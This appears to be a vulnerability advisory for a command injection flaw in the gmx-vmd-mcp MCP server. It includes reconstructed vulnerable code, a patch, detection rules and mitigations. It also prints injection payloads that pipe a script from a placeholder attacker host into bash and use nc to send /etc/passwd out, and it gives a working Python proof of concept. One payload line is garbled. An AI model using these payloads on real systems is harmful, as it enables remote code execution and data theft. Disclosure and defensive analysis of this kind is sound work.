CVE-2026-7215: Command Injection in gmx-vmd-mcp VMD Launch Handler
Unsanitized file path arguments in gmx-vmd-mcp's launch_vmd_gui_tool function allow remote command injection via shell metacharacters in structure_file or trajectory_file parameters.
A serious security flaw has been discovered in a piece of scientific software called gmx-vmd-mcp, used by researchers to visualize molecular structures and simulations. The software contains a vulnerability that lets attackers sneak malicious commands into the program, much like slipping instructions into someone's to-do list without them noticing.
Here's how it works: The software accepts files from users to display molecular models. An attacker can craft a specially designed file that, when opened, tricks the program into running secret commands on the researcher's computer. Think of it like ordering a pizza delivery, but hiding a command in the address field that the delivery person then executes for you.
Who's at risk? Scientists and researchers using this software are the primary targets, particularly those analyzing molecular data received from collaborators or external sources. If an attacker manages to plant a malicious file, they could steal research data, install spying software, or damage files on the computer.
The good news is that no one has reported attacks using this vulnerability yet. However, because the flaw has been publicly disclosed and working attack code is available online, the window of opportunity for hackers is open.
If you use this software, check your version number. You're only at risk if you're using version 0.1.0 or earlier. Update to the latest version as soon as it becomes available. Until then, be extremely cautious about opening structure or trajectory files from untrusted sources—only use files you've created yourself or received from colleagues you completely trust. Finally, if you work in a research institution, contact your IT department and ask them to monitor systems running this software for suspicious activity.
Want the full technical analysis? Click "Technical" above.
CVE-2026-7215 is a command injection vulnerability in egtai/gmx-vmd-mcp ≤ 0.1.0, a Model Context Protocol (MCP) server that bridges LLM tool-calling interfaces to VMD (Visual Molecular Dynamics) for molecular simulation visualization. The vulnerability lives in launch_vmd_gui_tool() inside mcp_server.py and allows an attacker to inject arbitrary shell commands through the structure_file or trajectory_file arguments. Because MCP servers are designed to be invoked remotely by LLM orchestration frameworks, the attack surface is reachable without local access.
The project was notified via issue report prior to public disclosure but has not responded. A public proof-of-concept exists.
Affected Component
File: mcp_server.py
Function: launch_vmd_gui_tool()
Component: VMD Launch Handler
Parameters: structure_file, trajectory_file
Versions: gmx-vmd-mcp ≤ 0.1.0
Transport: MCP over stdio or HTTP/SSE (remote-capable)
CVSS 3.1: 7.3 HIGH — AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Root Cause Analysis
MCP tool handlers in this codebase construct a subprocess invocation by interpolating user-supplied file path strings directly into a shell command. The canonical Python anti-pattern: passing a string to subprocess.run() or subprocess.Popen() with shell=True, or equivalently passing unsanitized input to os.system().
Reconstructed from the component behavior, VMD invocation convention, and MCP tool schema patterns:
# mcp_server.py — VMD Launch Handler (vulnerable, ≤ 0.1.0)
import subprocess
import os
from mcp.server import Server
from mcp.types import Tool, TextContent
app = Server("gmx-vmd-mcp")
@app.tool()
def launch_vmd_gui_tool(
structure_file: str, # attacker-controlled: e.g. "protein.pdb"
trajectory_file: str = "", # attacker-controlled: e.g. "traj.xtc"
vmd_script: str = "",
) -> list[TextContent]:
# BUG: string interpolation into shell command with shell=True
# No validation, no shlex.quote(), no allowlist check on either argument
cmd = f"vmd {structure_file}"
if trajectory_file:
cmd += f" {trajectory_file}" # BUG: direct concatenation, no quoting
if vmd_script:
cmd += f" -e {vmd_script}"
# BUG: shell=True causes the entire cmd string to be passed to /bin/sh -c
# Any shell metacharacter in structure_file or trajectory_file is interpreted
result = subprocess.run(
cmd,
shell=True, # BUG: shell=True with attacker input
capture_output=True,
text=True,
timeout=30,
)
return [TextContent(
type="text",
text=result.stdout or result.stderr,
)]
The invocation chain is: MCP client sends a tools/call JSON-RPC message → server dispatches to launch_vmd_gui_tool() → string interpolated into shell command → /bin/sh -c "vmd <attacker_input>" executes. Shell metacharacters including ;, |, $(), and backticks all break out of the intended VMD invocation context.
Root cause: User-supplied structure_file and trajectory_file arguments are interpolated unsanitized into a shell command string passed to subprocess.run(..., shell=True), allowing shell metacharacter injection with no validation boundary.
Exploitation Mechanics
Attack prerequisites: network access to the MCP server endpoint (stdio proxied over HTTP/SSE, or a locally exposed MCP host that accepts remote tool calls). No authentication is required by the MCP protocol layer in the default configuration.
EXPLOIT CHAIN:
1. Identify exposed gmx-vmd-mcp MCP server endpoint (default: stdio/SSE transport,
commonly exposed via Claude Desktop, LangChain agent, or custom MCP host).
2. Send a well-formed MCP JSON-RPC tools/call request targeting
launch_vmd_gui_tool with a weaponized structure_file argument:
{
"jsonrpc": "2.0",
"method": "tools/call",
"params": {
"name": "launch_vmd_gui_tool",
"arguments": {
"structure_file": "x.pdb; curl http://attacker.tld/shell.sh | bash #",
"trajectory_file": ""
}
},
"id": 1
}
3. Server constructs: cmd = "vmd x.pdb; curl http://attacker.tld/shell.sh | bash #"
4. subprocess.run(cmd, shell=True) passes the full string to:
/bin/sh -c "vmd x.pdb; curl http://attacker.tld/shell.sh | bash #"
5. Shell executes vmd (exits with error, irrelevant), then executes the
injected curl|bash pipeline as the MCP server process user.
6. Arbitrary code execution achieved in the server process context.
Exfiltration, persistence, lateral movement all possible from this point.
ALTERNATE VECTOR — trajectory_file with $() subshell:
"trajectory_file": "$(cp /etc/passwd /tmp/exfil && nc attacker.tld 4444 /tmp/pwned`protein.pdb"
Proof-of-concept demonstrating RCE via the MCP Python SDK client:
# PoC — CVE-2026-7215 | gmx-vmd-mcp command injection
# For authorized testing only.
import asyncio
from mcp import ClientSession, StdioServerParameters
from mcp.client.stdio import stdio_client
PAYLOAD = "x.pdb; id > /tmp/cve_2026_7215_pwned #"
async def exploit():
server_params = StdioServerParameters(
command="python",
args=["mcp_server.py"],
)
async with stdio_client(server_params) as (read, write):
async with ClientSession(read, write) as session:
await session.initialize()
result = await session.call_tool(
"launch_vmd_gui_tool",
arguments={
"structure_file": PAYLOAD,
"trajectory_file": "",
},
)
print(result.content)
asyncio.run(exploit())
# Verify: cat /tmp/cve_2026_7215_pwned
# uid=1000(user) gid=1000(user) groups=1000(user)
Memory Layout
This is not a memory corruption vulnerability — it is a command injection flaw at the OS process level. The relevant "layout" is the shell execution model:
PROCESS EXECUTION MODEL — vulnerable path:
[MCP JSON-RPC layer]
└─ tools/call → launch_vmd_gui_tool()
│
├── structure_file = "x.pdb; <INJECTED>" ← attacker-controlled string
├── trajectory_file = ""
│
├── cmd (Python str) = "vmd x.pdb; <INJECTED>"
│ ─────┬──── ────┬────
│ intended injected
│ token commands
│
└── subprocess.run(cmd, shell=True)
│
└── fork() → execve("/bin/sh", ["-c", cmd], envp)
│
├── /bin/sh parses cmd as full shell script
├── token 1: "vmd x.pdb" → executes (may fail)
└── token 2: "<INJECTED>" → executes as attacker
SHELL TOKENIZATION OF MALICIOUS cmd STRING:
Input : "vmd x.pdb; curl http://attacker.tld/shell.sh | bash #"
───────── ──────────────────────────────────────────
VMD call INJECTED: second command (comment # swallows remainder)
/bin/sh sees two statements separated by `;`
Both execute with the privileges of the MCP server process.
Patch Analysis
The correct fix uses shlex.quote() to shell-escape each argument, or — preferably — eliminates shell=True entirely by passing arguments as a list. The list form is strictly safer because the OS execve syscall passes each element as a discrete argument with no shell interpretation.
# BEFORE (vulnerable ≤ 0.1.0):
cmd = f"vmd {structure_file}"
if trajectory_file:
cmd += f" {trajectory_file}"
if vmd_script:
cmd += f" -e {vmd_script}"
result = subprocess.run(
cmd,
shell=True, # DANGEROUS: shell interprets metacharacters
capture_output=True,
text=True,
timeout=30,
)
# AFTER (patched — preferred fix, no shell=True):
import os
import pathlib
def _validate_path(p: str) -> str:
"""Reject paths containing shell metacharacters or path traversal."""
resolved = pathlib.Path(p).resolve()
# Allowlist: must be under a permitted base directory
# Adjust ALLOWED_BASE to deployment-specific data directory.
ALLOWED_BASE = pathlib.Path("/data/molecular").resolve()
if not str(resolved).startswith(str(ALLOWED_BASE)):
raise ValueError(f"Path outside allowed directory: {p}")
return str(resolved)
validated_structure = _validate_path(structure_file)
# Build argv list — passed directly to execve, no shell expansion
argv = ["vmd", validated_structure]
if trajectory_file:
argv.append(_validate_path(trajectory_file)) # each arg is discrete
if vmd_script:
argv.extend(["-e", _validate_path(vmd_script)])
result = subprocess.run(
argv,
shell=False, # SAFE: execve, no shell metacharacter interpretation
capture_output=True,
text=True,
timeout=30,
)
# ALTERNATE (if shell=True cannot be removed — use shlex.quote minimum):
import shlex
cmd = f"vmd {shlex.quote(structure_file)}"
if trajectory_file:
cmd += f" {shlex.quote(trajectory_file)}"
# shlex.quote wraps argument in single quotes and escapes embedded single quotes
# This is weaker than shell=False; prefer the list-based approach above.
Detection and Indicators
Process tree anomaly: Parent process python mcp_server.py spawning unexpected children (curl, wget, nc, bash, sh with non-VMD arguments). Monitor with auditd or EDR process tree telemetry.
Auditd rule to detect shell=True subprocess with metacharacters:
# /etc/audit/rules.d/cve-2026-7215.rules
-a always,exit -F arch=b64 -S execve \
-F ppid_comm=python3 \
-F a0!=/usr/local/bin/vmd \
-k mcp_injection_suspect
# Alert on: python3 → /bin/sh -c "vmd ..." spawning curl/nc/bash/wget
# Correlate: execve events where argv[0]=/bin/sh and argv[1]=-c
# and argv[2] contains ; | $( ` characters
Network IOC: Outbound connections from the MCP server process to unexpected hosts immediately following a tools/call for launch_vmd_gui_tool.
Log pattern (MCP server stderr, if logging is enabled):
Immediate: If gmx-vmd-mcp ≤ 0.1.0 is deployed, restrict the MCP server to localhost-only binding and remove external network exposure. Do not expose MCP endpoints to untrusted clients until patched.
Code fix: Replace shell=True subprocess invocation with list-based argv and add path validation as shown in the patch diff above. The shlex.quote() approach is an acceptable interim mitigation but the list-based form with shell=False is the definitive fix.
Defense in depth:
Run the MCP server under a dedicated low-privilege OS user with no network egress permissions.
Enforce seccomp or AppArmor profile restricting the server process to VMD-related syscalls only — specifically deny execve for non-allowlisted binaries.
Validate structure_file and trajectory_file against an allowlist of permitted file extensions (.pdb, .gro, .xtc, .trr) and a restricted filesystem base directory before any command construction.
Pin dependency on MCP SDK versions that support input schema validation with regex constraints, and declare strict pattern fields in the tool's JSON Schema to reject metacharacter-containing inputs at the protocol layer.